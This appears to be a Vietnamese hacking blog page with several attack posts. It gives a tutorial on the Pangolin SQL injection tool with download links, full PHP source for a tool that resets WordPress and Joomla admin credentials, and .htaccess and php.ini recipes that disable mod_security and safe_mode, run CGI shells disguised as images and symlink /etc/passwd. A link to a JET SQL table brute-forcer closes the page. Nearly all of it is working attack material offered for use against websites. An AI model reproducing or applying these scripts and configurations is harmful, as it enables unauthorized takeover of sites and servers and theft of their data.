Hack & Security

Anh em bắt đầu bật Panglogin lên nào
Anh em vào TOol > vào Injection Digger nha ! Xong nó sẽ hiện lên thế này
Tools panglogin có cái hay là seach từ khóa của anh em cho vào rồi nó tự động seach + check xem site đó có lỗi hay ko

> có lỗi thì nó sẽ hiện dấu X màu đỏ

Khi ra được column rồi > anh em chọn những column nào cần get ra > click vào data để get nha > bước cuối cùng là save

> có chữ save ở đó rồi

Những website nào anh em ko đá được anh em thử cho sang thằng sqlhelpper v2.7 nha > Flo thường sài 2 tools này để chiến ^^

Tại mấy bạn cứ bắt mình làm nên rảnh làm tý thui , gọi là làm cho những newbie như mình sài

Anh em lưu ý nha ! ở file tables.txt và columns.txt anh em có thể thêm những tables or columns mà tools ko hỗ trợ

Show chiến lợi phẩm cho anh em xem

Code:

Access
DB2
Informix
MSSQL 2000 with Error
MSSQL 2000 Blind
MSSQL 2005 with Error
MSSQL 2005 Blind
Mysql
Oracle
PostgreSQL
Sqlite3
Sybase
Configuration Save
Bypass firewall advance mode
Report Export
URL operation(replacement or insert)
Data Dumpernew
MD5 Crackernew
Source Code
Prise(in USD

Homepage:
http://www.nosec.org/2009/0920/74.html

http://rapidshare.com/files/309929227/Pangolin.Pro.v3.0.0.1011.rar
http://ceh.vn/Soft/Toolhacker/Pangolin.Pro.v3.0.0.1011.rar

readmore...

HTML Code:

<html dir="ltr">

<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>HaCker-1420 - Joomla & Wordpress Login data Changer</title>
<style>

</style>
</head>

<body text="#C0C0C0" bgcolor="#000000" link="#FFFFFF" vlink="#C0C0C0" alink="#FFFFFF">

<div align="center">
 <table border="1" width="98%" id="table1" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF">
  <tr>
   <td>
   <p align="center"><b><font face=Webdings size=6>!</font><font face=Verdana size=5>HaCker-1420
   - Login Data Changer v1.0</font></b><font face=Webdings size=6><b>!</b></font></td>
  </tr>
 </table>
</div>

<div align="center">
 <table border="1" width="98%" id="table3" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF">
  <tr>
   <td>
   <p align="center"><b><font face=Webdings size=6>!</font>Powered By 
   HaCker-1420--Dz hacker</b><font face=Webdings size=6><b>!</b></font></td>
  </tr>
 </table>
</div>

<div align="center">
 <table border="1" width="98%" id="table4" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF" height="200">
  <tr>
   <td align="left" width="50%" valign="top">

<div align="center">
 <table border="1" width="100%" id="table5" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF">
  <tr>
   <td bgcolor="#800000">
   <p align="center"><font color="#FFFFFF"><b>Wordpress Login Changer</b></font></td>
  </tr>
 </table>
</div>
   <p>
         <?
if(empty($_POST['pwd'])){
echo "<FORM method=\"POST\">
host     : <br> <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"****\"> <br>
database : <br> <INPUT size=\"15\" value=\"Database\" name=\"database\" type=\"****\"><br>
username : <br> <INPUT size=\"15\" value=\"Username\" name=\"username\" type=\"****\"><br>
password : <br> <INPUT size=\"15\" value=\"password\" name=\"password\" type=\"password\"><br>
      <br>
New username : <br> <INPUT name=\"admin\" size=\"15\" value=\"admin\"><br>
New password : <br> <INPUT name=\"pwd\" size=\"15\" value=\"admin\"><br>

<INPUT value=\"change\" name=\"send\" type=\"submit\">
</FORM>";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd       = $_POST['pwd'];
$admin     = $_POST['admin'];


         @mysql_connect($localhost,$username,$password) or die(mysql_error());
         @mysql_select_db($database) or die(mysql_error());

$hash = crypt($pwd);

$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());

if($a4s){
echo "<b>root@secure:# ~ Success : U Can Log In Using The New Data - Greetings From HaCker-1420</b> ";
}

}

?>
   
   </td>
   <td align="left" width="50%" valign="top">

<div align="center">
 <table border="1" width="100%" id="table6" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF">
  <tr>
   <td bgcolor="#800000">
   <p align="center"><font color="#FFFFFF"><b>Joomla Login Changer</b></font></td>
  </tr>
 </table>
</div>
   <p>
   
    <?
if(empty($_POST['pwd'])){
echo "<FORM method=\"POST\">
host :<br> <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"><br>
database :<br> <INPUT size=\"15\" value=\"database\" name=\"database\" type=\"text\"><br>
username :<br> <INPUT size=\"15\" value=\"db_user\" name=\"username\" type=\"text\"><br>
password :<br> <INPUT size=\"15\" value=\"password\" name=\"password\" type=\"password\"><br>
      <br>
New Username:<br> <INPUT name=\"admin\" size=\"15\" value=\"admin\"><br>
New Password: Use MD5 Hash or leave that, the new pass will be 123456<br> <INPUT name=\"pwd\" size=\"15\" value=\"e10adc3949ba59abbe56e057f20f883e\"><br>

<INPUT value=\"change\" name=\"send\" type=\"submit\">
</FORM>";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd       = $_POST['pwd'];
$admin     = $_POST['admin'];


         @mysql_connect($localhost,$username,$password) or die(mysql_error());
         @mysql_select_db($database) or die(mysql_error());

$hash = crypt($pwd);

$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 1") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 1") or die(mysql_error());

if($SQL){
echo "<b>root@secure:# ~ Success : U Can Log In Using The New Data - Greetings From HaCker-1420</b> ";
}

}

?>
   
   </td>
  </tr>
 </table>
</div>

<div align="center">
 <table border="1" width="98%" id="table7" dir="ltr" bgcolor="#800000" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF" height="110">
  <tr>
   <td valign="top">
   <p align="center"><b><font color="#FFFFFF">Special Greets To : All 
   <a href="http://www.gaza-hacker.com/cc/"><font color="#000000">Gaza-hacker</font></a> members</font><br>
   <font face="Georgia" color="#FFFFFF">Th3 Viper - !-Bb0yH4cK3r_Dz-!- -- L3b-R1z-  <br> <font size="2">read our news at : 
   </font></font>
   <font face="Georgia" color="#FFFFFF" size="2">
   <font color="#000000">Ozil.Mohamed</font></a></font></b></td>
  </tr>
 </table>
</div>

</body>

</html>

readmore...

Sử dụng tùy trường hợp

cgitelnet symlink htaccess

symljnk ghi vào file.hack
download file.hack về

Options +ExecCGI
AddHandler cgi-script cgi pl cgi love jpg
RewriteEngine on
RewriteRule (.*).mil$ $1.cgi
Options +FollowSymLinks
DirectoryIndex cmd.html
Options +Indexes
RemoveHandler .hack
AddType text/plain .hack

SSI VIEW SYMLJNK
.htaccess

Options +Includes
AddType text/html .shtml
AddHandler server-parsed .shtml

ln -s /etc/passwd tyn.txt

tyn.shtml:



direct symljnk view file.php dưới dạng file text

options all
Options +FollowSymLinks
Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType text/plain .php
AddHandler server-parsed .php

Safe mod off

Options +FollowSymLinks
DirectoryIndex ssssss.htm
Options All Indexes
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
SetEnv PHPRC /home/user/public_html/php.ini
suPHP_ConfigPath /home/user/public_html/php.ini

or

Options +ExecCGI
AddHandler cgi-script cgi pl cgi love jpg
RewriteEngine on
RewriteRule (.*)\.mil$ $1.cgi
Options +FollowSymLinks
DirectoryIndex cmd.html
Options +Indexes
RemoveHandler .hack
AddType text/plain .hack
## milw0rmvn exploit ##

php.ini:

safe_mode=Off
Disable_Functions=None
Open_Basedir=None
Safe_Exec_Dir=None
Safe_Gid=None
Safe_Include_Dir=None
Sql.safe_mode=None
cURL=Off
MySQL=Off
MSSQL=Off
PostgreSQL=Off
Oracle=Off

or

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterSanPOST Off
</IfModule>
#START #
Options +ExecCGI
AddHandler cgi-script cgi pl tmt

Options +FollowSymLinks
DirectoryIndex seees.html
Options +Indexes

VIEW file.php

Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any

hạ safe_mode
php.ini

safe_mode = Off
disable_functions = ""

.htaccess

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>

.htaccess

AddHandler application/x-httpd-php4 .php .php4 .php3

.htaccess

php_flag safe_mode off
php_flag disable_functions ""

.htaccess

php_admin_value disable_functions ""
php_admin_value safe_mode off

.htaccess

php_value safe_mode off
php_value disable_functions ""

.htaccess

SetEnv PHPRC /home/user/public_html/php.ini

.htaccess

suPHP_ConfigPath /home/user/public_html/php.ini

.htaccess

<Files *.php>
ForceType application/x-httpd-php4
</Files>

readmore...

TOOL dò TABLE của lỗi JET of SQL INJECTION.
(Lỗi JET mà ngồi mò table thì hơi bị cực,nên xài soft cho lẹ,hj`hj`).
Nếu pro nào có rồi thì thôi,em chỉ hỗ trợ Newbie (như em) thôi.

**HƯỚNG DẨN :
- Đơn giản vô cùng,giải nén và chạy file "JetSQL.exe" để Dò
- Sát bên có file "tablename.txt" để chứa tên các table mà nó sẽ dò (bạn có thể sưu tầm thêm tables bỏ vào đó).

LINK : http://www.mediafire.com/?33gwbbs956h7w3r

readmore...

Hack & Security

Social Icons

Menu

Trang

Popular Posts

Labels

Blog Archive

Thứ Sáu, 3 tháng 8, 2012

Tut Hướng dẫn khai thác web lỗi + hack = panglogin

Thứ Hai, 23 tháng 7, 2012

Joomla & Wordpress Login data Changer

.htaccess (đa chức năng)

Thứ Hai, 16 tháng 7, 2012

[TOOL] Dò table với lỗi JET DATABASE

Followers

Tổng số lượt xem trang

Translate